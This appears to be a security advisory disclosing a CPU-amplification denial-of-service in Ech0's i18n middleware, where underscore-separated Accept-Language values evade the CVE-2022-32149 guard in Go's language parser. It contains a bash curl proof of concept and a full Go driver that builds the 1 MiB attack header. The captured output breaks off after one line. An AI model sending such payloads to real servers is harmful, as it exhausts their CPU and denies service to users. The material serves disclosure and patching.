Résumé

Ech0: ParseAcceptLanguage `_` separator bypass enables ~70x CPU amplification via Accept-Language header in i18n.Middleware

Détails de l’avis

Summary

Ech0's i18n middleware runs on every HTTP request and constructs a fresh *goi18n.Localizer from the raw Accept-Language header without imposing any size or shape filter. goi18n.NewLocalizer calls golang.org/x/text/language.ParseAcceptLanguage on the value internally. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of - characters in the input at 1000, but it does not cap _ characters even though the parser's internal scanner aliases _ to - before parsing. A single unauthenticated GET request with an Accept-Language header built out of _ separators burns about 1.5 seconds of server CPU on the host running Ech0; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~10 MiB/s of upstream bandwidth.

Affected versions

github.com/lin-snow/Ech0 v4.8.2 and (per code inspection of main) earlier 4.x versions that wire the internal/i18n.Middleware() gin middleware on the global router without imposing their own size limit on Accept-Language. Verified on:

  • the official ghcr.io/lin-snow/ech0:latest Docker image at v4.8.2 (E2E below)
  • main at commit 451c7c10eb1f23f7525c163e83f8b39f46d5aad0 by reading internal/i18n/i18n.go (the middleware and setLocaleContext call site are unchanged)

Privilege required

Unauthenticated. The i18n.Middleware runs for every HTTP request including the public landing page, the public comments feed, and the unauthenticated /api/echo/page endpoint.

Vulnerable code

internal/i18n/i18n.go (blob SHA 451c7c10eb1f23f7525c163e83f8b39f46d5aad0), the gin middleware Middleware() at lines 202-213:

func Middleware() gin.HandlerFunc {
    return func(ctx *gin.Context) {
        explicit := explicitLocaleFromRequest(ctx)
        acceptLanguage := strings.TrimSpace(ctx.GetHeader("Accept-Language"))
        locale := systemDefaultLocale()
        if explicit != "" {
            locale = ResolveLocale(explicit, acceptLanguage)
        }
        setLocaleContext(ctx, locale, acceptLanguage)
        ctx.Next()
    }
}

setLocaleContext at line 191 then calls NewLocalizer(normalized, acceptLanguage):

func setLocaleContext(ctx *gin.Context, locale, acceptLanguage string) {
    if ctx == nil {
        return
    }
    normalized := ResolveLocale(locale)
    localizer := NewLocalizer(normalized, acceptLanguage)
    ctx.Set(ContextLocaleKey, normalized)
    ctx.Set(ContextLocalizerKey, localizer)
    ctx.Header("Content-Language", normalized)
}

NewLocalizer is a thin wrapper around goi18n.NewLocalizer, which internally calls language.ParseAcceptLanguage(lang) for every passed string in its parseTags helper (see github.com/nicksnyder/go-i18n/v2@v2.6.0/i18n/localizer.go:42-50). So the unfiltered acceptLanguage reaches language.ParseAcceptLanguage on every request.

ctx.GetHeader("Accept-Language") is the unfiltered HTTP header. Go's default net/http MaxHeaderBytes is 1 << 20 = 1 MiB and Ech0 does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.

The additional ResolveLocale path at line 208 also calls language.ParseAcceptLanguage(strings.Join(parts, ",")) directly when X-Locale or the lang query parameter is set, with the same vector and a longer-running effect (the input concatenates explicit + acceptLanguage so the parser sees both, and the path is exercised twice).

CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters and rejecting inputs with more than 1000 of them. The guard does not count _ characters even though the scanner converts _ to - at parse time (golang.org/x/text/internal/language/parse.go). A 1 MiB header full of 9-character _abcdefghi tokens contains zero - characters, passes the guard, and then drives the scanner into the O(N²) gobble path.

How Accept-Language reaches ParseAcceptLanguage

The middleware sequence on any HTTP request:

  1. The request enters i18n.Middleware().
  2. ctx.GetHeader("Accept-Language") returns the full attacker-supplied header value.
  3. setLocaleContext is called with that value.
  4. NewLocalizer(normalized, acceptLanguage) constructs a goi18n localizer; goi18n's parseTags calls language.ParseAcceptLanguage(acceptLanguage) unfiltered.

No size or character-class filter is applied between (2) and (4). When X-Locale or ?lang= is also present, the parser is invoked twice on related input via the explicit ResolveLocale(explicit, acceptLanguage) path at line 210.

Proof of concept

Single-line bash reproducer that crafts the malicious header and times one request against a fresh ghcr.io/lin-snow/ech0:latest container:

docker run -d --name ech0 --rm -p 18300:6277 ghcr.io/lin-snow/ech0:latest
sleep 5

PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')"
echo "header size = ${#PAYLOAD} bytes"

curl -sS -o /dev/null \
  -w 'http=%{http_code} t=%{time_total}\n' \
  -H "Accept-Language: ${PAYLOAD}" \
  http://127.0.0.1:18300/

Each 9-character _abcdefghi token has length 9, which fails the scanner's len <= 8 tag-length check at golang.org/x/text/internal/language/parse.go and triggers a gobble call that runtime.memmoves the entire remaining buffer. With N invalid tokens the total bytes moved by gobble is O(N²).

End-to-end reproduction (against ghcr.io/lin-snow/ech0:latest at v4.8.2)

A Go driver poc.go boots the container, sends a 1 MiB Accept-Language value once with - (CVE-2022-32149 guard fires) and once with _ (guard bypassed):

// poc.go
package main

import (
    "fmt"
    "io"
    "net"
    "net/http"
    "strings"
    "time"
)

const targetURL = "http://127.0.0.1:18300/"

func buildPayload(sep string, targetBytes int) string {
    const tok = "abcdefghi"
    var b strings.Builder
    b.Grow(targetBytes + 16)
    b.WriteString("en")
    for b.Len()+1+len(tok) <= targetBytes {
        b.WriteString(sep)
        b.WriteString(tok)
    }
    return b.String()
}

func send(label, header string) {
    client := &http.Client{
        Timeout: 60 * time.Second,
        Transport: &http.Transport{
            DisableKeepAlives: true,
            DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
        },
    }
    req, _ := http.NewRequest("GET", targetURL, nil)
    if header != "" {
        req.Header.Set("Accept-Language", header)
    }
    t0 := time.Now()
    resp, err := client.Do(req)
    dt := time.Since(t0)
    if err != nil {
        fmt.Printf("  %-32s ERR after %v: %v\n", label, dt, err)
        return
    }
    _, _ = io.Copy(io.Discard, resp.Body)
    resp.Body.Close()
    fmt.Printf("  %-32s header=%d B  '_'=%d  '-'=%d  status=%d  t=%v\n",
        label, len(header),
        strings.Count(header, "_"), strings.Count(header, "-"),
        resp.StatusCode, dt)
}

func main() {
    send("warm-up", "")
    send("baseline (no header)", "")
    send("baseline (1 short tag)", "en-US")
    send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20))
    send("attack ('_' x 1MiB)",     buildPayload("_", 1<<20))
    send("attack repeat 2",          buildPayload("_", 1<<20))
    send("attack repeat 3",          buildPayload("_", 1<<20))
}

Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official ghcr.io/lin-snow/ech0:latest image at v4.8.2):

E2E: golang/x/text ParseAcceptLanguage '_' bypass through
lin-snow/Ech0 v4.8.2 i18n middleware at
internal/i18n/i18n.go (Middleware -> setLocaleContext -> NewLocalizer).

Target: http://127.0.0.1:18300/   payload=1048576 B

  warm-up                                      header=0 B  '_'=0  '-'=0  status=2

Références